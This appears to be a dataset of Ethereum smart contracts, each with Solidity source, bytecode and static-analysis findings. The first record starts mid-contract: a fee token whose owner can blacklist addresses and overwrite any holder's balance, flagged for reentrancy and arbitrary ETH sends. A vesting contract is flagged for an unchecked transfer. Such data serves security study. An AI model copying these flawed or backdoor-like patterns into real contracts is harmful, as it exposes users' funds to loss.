owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to], "This account is blacklisted"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); require(_canTrade,"Trading not started"); require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); } if (from == _pair) { _taxFee = buyTax(); } else { _taxFee = sellTax(); } uint256 contractTokenBalance = balanceOf(address(this)); if(!_inSwap && from != _pair && _swapEnabled) { if(contractTokenBalance >= _contractAutoLpLimitToken) { swapAndLiquify(contractTokenBalance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 autoLpTokenBalance = contractTokenBalance.mul(_LpPercentBase100).div(10**2); uint256 marketingAmount = contractTokenBalance.sub(autoLpTokenBalance); uint256 half = autoLpTokenBalance.div(2); uint256 otherHalf = autoLpTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(half); uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidityAuto(newBalance, otherHalf); emit SwapAndLiquify(half, newBalance, otherHalf); swapTokensForEth(marketingAmount); sendETHToFee(marketingAmount); } function buyTax() private view returns (uint256) { return (_autoLpFee + _buyTaxMarketing); } function sellTax() private view returns (uint256) { return (_autoLpFee + _sellTaxMarketing); } function setMaxTx(uint256 amount) public onlyOwner{ require(amount>_maxTxAmount); _maxTxAmount=amount; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function createPair() external onlyOwner { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidityInitial() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance} ( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); _swapEnabled = true; } function addLiquidityAuto(uint256 etherValue, uint256 tokenValue) private { _approve(address(this), address(_uniswap), tokenValue); _uniswap.addLiquidityETH{value: etherValue} ( address(this), tokenValue, 0, 0, owner(), block.timestamp ); _swapEnabled = true; } function enableTrading(bool _enable) external onlyOwner{ _canTrade = _enable; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function setMaxWallet(uint256 amount) public onlyOwner{ require(amount>_maxWallet); _maxWallet=amount; } receive() external payable {} function blockBots(address[] memory bots_) public onlyOwner {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}} function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function manualsend() public{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function airdropOldHolders(address[] memory recipients, uint256[] memory amounts) public onlyOwner { for(uint256 i = 0; i < recipients.length; i++) { _balance[recipients[i]] = amounts[i] * 10**8; emit Transfer(address(this), recipients[i], amounts[i] * 10**8); } } }
0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063715018a61461003b5780638da5cb5b14610045575b600080fd5b610043610064565b005b600054604080516001600160a01b039092168252519081900360200190f35b6000546001600160a01b031633146100c25760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640160405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b031916905556fea26469706673582212204098746ec163a35b6b42eaf3811c2fc5bfbaf4b03833a5058bb40244c14f9fa864736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,429
0xB0E136eC95aec90055eA98383C513c5da1f17Bc5
// SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.8.9; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // This library is used to check merkle proofs very efficiently. Each additional proof element adds ~1000 gas library MerkleLib { // This is the main function that will be called by contracts. It assumes the leaf is already hashed, as in, // it is not raw data but the hash of that. This is because the leaf data could be any combination of hashable // datatypes, so we let contracts hash the data themselves to keep this function simple function verifyProof(bytes32 root, bytes32 leaf, bytes32[] memory proof) public pure returns (bool) { bytes32 currentHash = leaf; // the proof is all siblings of the ancestors of the leaf (including the sibling of the leaf itself) // each iteration of this loop steps one layer higher in the merkle tree for (uint i = 0; i < proof.length; i += 1) { currentHash = parentHash(currentHash, proof[i]); } // does the result match the expected root? if so this leaf was committed to when the root was posted // else we must assume the data was not included return currentHash == root; } function parentHash(bytes32 a, bytes32 b) public pure returns (bytes32) { // the convention is that the inputs are sorted, this removes ambiguity about tree structure if (a < b) { return keccak256(abi.encode(a, b)); } else { return keccak256(abi.encode(b, a)); } } } // This contract is for anyone to create a merkledrop, that is, an airdrop using merkleproofs to compute eligibility contract MerkleDropFactory { using MerkleLib for bytes32; // the number of airdrops in this contract uint public numTrees = 0; // this represents a single airdrop struct MerkleTree { bytes32 merkleRoot; // merkleroot of tree whose leaves are (address,uint) pairs representing amount owed to user bytes32 ipfsHash; // ipfs hash of entire dataset, as backup in case our servers turn off... address tokenAddress; // address of token that is being airdropped uint tokenBalance; // amount of tokens allocated for this tree uint spentTokens; // amount of tokens dispensed from this tree } // withdrawn[recipient][treeIndex] = hasUserWithdrawnAirdrop mapping (address => mapping (uint => bool)) public withdrawn; // array-like map for all ze merkle trees (airdrops) mapping (uint => MerkleTree) public merkleTrees; // every time there's a withdraw event Withdraw(uint indexed merkleIndex, address indexed recipient, uint value); // every time a tree is added event MerkleTreeAdded(uint indexed index, address indexed tokenAddress, bytes32 newRoot, bytes32 ipfsHash); // anyone can add a new airdrop function addMerkleTree(bytes32 newRoot, bytes32 ipfsHash, address depositToken, uint tokenBalance) public { // prefix operator ++ increments then evaluates merkleTrees[++numTrees] = MerkleTree( newRoot, ipfsHash, depositToken, 0, // ain't no tokens in here yet 0 // ain't nobody claimed no tokens yet either ); // you don't get to add a tree without funding it depositTokens(numTrees, tokenBalance); emit MerkleTreeAdded(numTrees, depositToken, newRoot, ipfsHash); } // anyone can fund any tree function depositTokens(uint treeIndex, uint value) public { // storage since we are editing MerkleTree storage merkleTree = merkleTrees[treeIndex]; // bookkeeping to make sure trees don't share tokens merkleTree.tokenBalance += value; // transfer tokens, if this is a malicious token, then this whole tree is malicious // but it does not effect the other trees require(IERC20(merkleTree.tokenAddress).transferFrom(msg.sender, address(this), value), "ERC20 transfer failed"); } // anyone can withdraw anyone else's tokens, altho they always go to the right destination // msg.sender is not used in this function function withdraw(uint merkleIndex, address walletAddress, uint value, bytes32[] memory proof) public { // no withdrawing from uninitialized merkle trees require(merkleIndex <= numTrees, "Provided merkle index doesn't exist"); // no withdrawing same airdrop twice require(!withdrawn[walletAddress][merkleIndex], "You have already withdrawn your entitled token."); // compute merkle leaf, this is first element of proof bytes32 leaf = keccak256(abi.encode(walletAddress, value)); // storage because we edit MerkleTree storage tree = merkleTrees[merkleIndex]; // this calls to MerkleLib, will return false if recursive hashes do not end in merkle root require(tree.merkleRoot.verifyProof(leaf, proof), "The proof could not be verified."); // close re-entrance gate, prevent double claims withdrawn[walletAddress][merkleIndex] = true; // update struct tree.tokenBalance -= value; tree.spentTokens += value; // transfer the tokens // NOTE: if the token contract is malicious this call could re-enter this function // which will fail because withdrawn will be set to true require(IERC20(tree.tokenAddress).transfer(walletAddress, value), "ERC20 transfer failed"); emit Withdraw(merkleIndex, walletAddress, value); } }
0x608060405234801561001057600080fd5b50600436106100625760003560e01c806303a4153c14610067578063390b7c661461007c5780636fb24f3a1461009857806385d88cb1146100d6578063f1301ccf14610153578063f16ad51e14610166575b600080fd5b61007a61007536600461072d565b610179565b005b61008560005481565b6040519081526020015b60405180910390f35b6100c66100a636600461080f565b600160209081526000928352604080842090915290825290205460ff1681565b604051901515815260200161008f565b61011d6100e4366004610839565b6002602081905260009182526040909120805460018201549282015460038301546004909301549193926001600160a01b039091169185565b6040805195865260208601949094526001600160a01b03909216928401929092526060830191909152608082015260a00161008f565b61007a610161366004610852565b6104ff565b61007a61017436600461088f565b6105fe565b6000548411156101dc5760405162461bcd60e51b815260206004820152602360248201527f50726f7669646564206d65726b6c6520696e64657820646f65736e27742065786044820152621a5cdd60ea1b60648201526084015b60405180910390fd5b6001600160a01b038316600090815260016020908152604080832087845290915290205460ff16156102685760405162461bcd60e51b815260206004820152602f60248201527f596f75206861766520616c72656164792077697468647261776e20796f75722060448201526e32b73a34ba3632b2103a37b5b2b71760891b60648201526084016101d3565b604080516001600160a01b038516602082015290810183905260009060600160408051601f198184030181528282528051602091820120600089815260029092529190208054632769cd1f60e21b84529193509173458efd41740ffb27d86a9157050c0707b41e952091639da7347c916102e99190869088906004016108b1565b60206040518083038186803b15801561030157600080fd5b505af4158015610315573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103399190610906565b6103855760405162461bcd60e51b815260206004820181905260248201527f5468652070726f6f6620636f756c64206e6f742062652076657269666965642e60448201526064016101d3565b6001600160a01b03851660009081526001602081815260408084208a85529091528220805460ff191690911790556003820180548692906103c7908490610945565b92505081905550838160040160008282546103e2919061095c565b9091555050600281015460405163a9059cbb60e01b81526001600160a01b038781166004830152602482018790529091169063a9059cbb90604401602060405180830381600087803b15801561043757600080fd5b505af115801561044b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046f9190610906565b6104b35760405162461bcd60e51b8152602060048201526015602482015274115490cc8c081d1c985b9cd9995c8819985a5b1959605a1b60448201526064016101d3565b846001600160a01b0316867f9da6493a92039daf47d1f2d7a782299c5994c6323eb1e972f69c432089ec52bf866040516104ef91815260200190565b60405180910390a3505050505050565b6040518060a00160405280858152602001848152602001836001600160a01b0316815260200160008152602001600081525060026000806000815461054390610974565b918290555081526020808201929092526040908101600090812084518155928401516001840155908301516002830180546001600160a01b0319166001600160a01b0390921691909117905560608301516003830155608090920151600490910155546105b090826105fe565b60005460408051868152602081018690526001600160a01b03851692917f7247d7268297fd9fe23a535b70f414660bbcbbcd73ac0d9ce3c103a356a61f45910160405180910390a350505050565b60008281526002602052604081206003810180549192849261062190849061095c565b909155505060028101546040516323b872dd60e01b8152336004820152306024820152604481018490526001600160a01b03909116906323b872dd90606401602060405180830381600087803b15801561067a57600080fd5b505af115801561068e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b29190610906565b6106f65760405162461bcd60e51b8152602060048201526015602482015274115490cc8c081d1c985b9cd9995c8819985a5b1959605a1b60448201526064016101d3565b505050565b80356001600160a01b038116811461071257600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b6000806000806080858703121561074357600080fd5b8435935060206107548187016106fb565b935060408601359250606086013567ffffffffffffffff8082111561077857600080fd5b818801915088601f83011261078c57600080fd5b81358181111561079e5761079e610717565b8060051b604051601f19603f830116810181811085821117156107c3576107c3610717565b60405291825284820192508381018501918b8311156107e157600080fd5b938501935b828510156107ff578435845293850193928501926107e6565b989b979a50959850505050505050565b6000806040838503121561082257600080fd5b61082b836106fb565b946020939093013593505050565b60006020828403121561084b57600080fd5b5035919050565b6000806000806080858703121561086857600080fd5b843593506020850135925061087f604086016106fb565b9396929550929360600135925050565b600080604083850312156108a257600080fd5b50508035926020909101359150565b6000606082018583526020858185015260606040850152818551808452608086019150828701935060005b818110156108f8578451835293830193918301916001016108dc565b509098975050505050505050565b60006020828403121561091857600080fd5b8151801515811461092857600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b6000828210156109575761095761092f565b500390565b6000821982111561096f5761096f61092f565b500190565b60006000198214156109885761098861092f565b506001019056fea2646970667358221220a948046816972e68f08f10c71f6cc432ec5429b0116c92f48063e24abc3e790d64736f6c63430008090033
{"success": true, "error": null, "results": {}}
10,430
0xb31CD4191e00d56294b407045FE20084E8ad28D7
pragma solidity ^0.6.2; interface IDotTokenContract{ function balanceOf(address account) external view returns (uint256); function totalSupply() external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title DotxVesting * @dev A token holder contract that can release its token balance gradually like a * typical vesting scheme, with a cliff and vesting period. */ contract DotxVesting is Ownable { using SafeMath for uint256; event TokensReleased(address token, uint256 amount); // Durations and timestamps are expressed in UNIX time, the same units as block.timestamp. uint256 private _cliff; uint256 private _start; uint256 private _duration; mapping (address => uint256) private _released; IDotTokenContract private dotxToken; address private tokenAddress; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * owner, gradually in a linear fashion until start + duration. By then all * of the balance will have vested. * @param cliffDuration duration in seconds of the cliff in which tokens will begin to vest * @param start the time (as Unix time) at which point vesting starts * @param duration duration in seconds of the period in which the tokens will vest */ constructor(address dotxTokenAddress, uint256 start, uint256 cliffDuration, uint256 duration) public { dotxToken = IDotTokenContract(dotxTokenAddress); tokenAddress = dotxTokenAddress; start = start == 0 ? now : start; // solhint-disable-next-line max-line-length require(cliffDuration <= duration, "TokenVesting: cliff is longer than duration"); require(duration > 0, "TokenVesting: duration is 0"); // solhint-disable-next-line max-line-length require(start.add(duration) > block.timestamp, "TokenVesting: final time is before current time"); _duration = duration; _cliff = start.add(cliffDuration); _start = start; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return owner(); } /** * @return the cliff time of the token vesting. */ function cliff() public view returns (uint256) { return _cliff; } /** * @return the start time of the token vesting. */ function start() public view returns (uint256) { return _start; } /** * @return the duration of the token vesting. */ function duration() public view returns (uint256) { return _duration; } /** * @return the amount of the token released. */ function released() public view returns (uint256) { return _released[tokenAddress]; } /** * @notice Transfers vested tokens to beneficiary. */ function release() public onlyOwner { uint256 unreleased = releasableAmount(); require(unreleased > 0, "TokenVesting: no tokens are due"); _released[address(tokenAddress)] = _released[address(tokenAddress)].add(unreleased); dotxToken.transfer(owner(), unreleased); emit TokensReleased(address(tokenAddress), unreleased); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. */ function releasableAmount() public view returns (uint256) { return vestedAmount().sub(_released[address(tokenAddress)]); } /** * @dev Calculates the amount that has already vested. */ function vestedAmount() public view returns (uint256) { uint256 currentBalance = dotxToken.balanceOf(address(this)); uint256 totalBalance = currentBalance.add(_released[address(tokenAddress)]); if (block.timestamp < _cliff) { return 0; } else if (block.timestamp >= _start.add(_duration)) { return totalBalance; } else { return totalBalance.mul(block.timestamp.sub(_start)).div(_duration); } } function getRemainingSeconds() public view returns(uint256){ return _start.add(_duration).sub(block.timestamp); } function getRemainingDays() public view returns(uint256){ return _start.add(_duration).sub(block.timestamp).div(86400); } function getCurrentBalance() public view returns(uint256){ return dotxToken.balanceOf(address(this)); } }
0x608060405234801561001057600080fd5b50600436106100e95760003560e01c806386d1a69f1161008c578063a574971011610066578063a57497101461024a578063be9a655514610268578063d7dee81414610286578063f2fde38b146102a4576100e9565b806386d1a69f146101d85780638da5cb5b146101e2578063961325211461022c576100e9565b806338af3eed116100c857806338af3eed1461014857806344b1231f146101925780635b940081146101b0578063715018a6146101ce576100e9565b80620c7019146100ee5780630fb5a6b41461010c57806313d033c01461012a575b600080fd5b6100f66102e8565b6040518082815260200191505060405180910390f35b61011461032d565b6040518082815260200191505060405180910390f35b610132610337565b6040518082815260200191505060405180910390f35b610150610341565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61019a610350565b6040518082815260200191505060405180910390f35b6101b8610526565b6040518082815260200191505060405180910390f35b6101d66105a8565b005b6101e0610730565b005b6101ea610ad0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610234610af9565b6040518082815260200191505060405180910390f35b610252610b62565b6040518082815260200191505060405180910390f35b610270610c43565b6040518082815260200191505060405180910390f35b61028e610c4d565b6040518082815260200191505060405180910390f35b6102e6600480360360208110156102ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c7d565b005b60006103286201518061031a4261030c600354600254610e8a90919063ffffffff16565b610f1290919063ffffffff16565b610f5c90919063ffffffff16565b905090565b6000600354905090565b6000600154905090565b600061034b610ad0565b905090565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156103f257600080fd5b505afa158015610406573d6000803e3d6000fd5b505050506040513d602081101561041c57600080fd5b8101908080519060200190929190505050905060006104a560046000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e8a90919063ffffffff16565b90506001544210156104bc57600092505050610523565b6104d3600354600254610e8a90919063ffffffff16565b42106104e3578092505050610523565b61051e60035461051061050160025442610f1290919063ffffffff16565b84610fa690919063ffffffff16565b610f5c90919063ffffffff16565b925050505b90565b60006105a360046000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610595610350565b610f1290919063ffffffff16565b905090565b6105b061102c565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610671576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61073861102c565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000610803610526565b90506000811161087b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f546f6b656e56657374696e673a206e6f20746f6b656e7320617265206475650081525060200191505060405180910390fd5b6108ef8160046000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8a90919063ffffffff16565b60046000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb61099a610ad0565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a0457600080fd5b505af1158015610a18573d6000803e3d6000fd5b505050506040513d6020811015610a2e57600080fd5b8101908080519060200190929190505050507fc7798891864187665ac6dd119286e44ec13f014527aeeb2b8eb3fd413df93179600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600060046000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c0357600080fd5b505afa158015610c17573d6000803e3d6000fd5b505050506040513d6020811015610c2d57600080fd5b8101908080519060200190929190505050905090565b6000600254905090565b6000610c7842610c6a600354600254610e8a90919063ffffffff16565b610f1290919063ffffffff16565b905090565b610c8561102c565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d46576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610dcc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806111bb6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015610f08576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000610f5483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611034565b905092915050565b6000610f9e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110f4565b905092915050565b600080831415610fb95760009050611026565b6000828402905082848281610fca57fe5b0414611021576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806111e16021913960400191505060405180910390fd5b809150505b92915050565b600033905090565b60008383111582906110e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156110a657808201518184015260208101905061108b565b50505050905090810190601f1680156110d35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080831182906111a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561116557808201518184015260208101905061114a565b50505050905090810190601f1680156111925780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816111ac57fe5b04905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220cb5cc02336e4dca1143124170fb627206b075bedc7c3f3d9b9e0c0e9263e7f9864736f6c63430006020033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
10,431
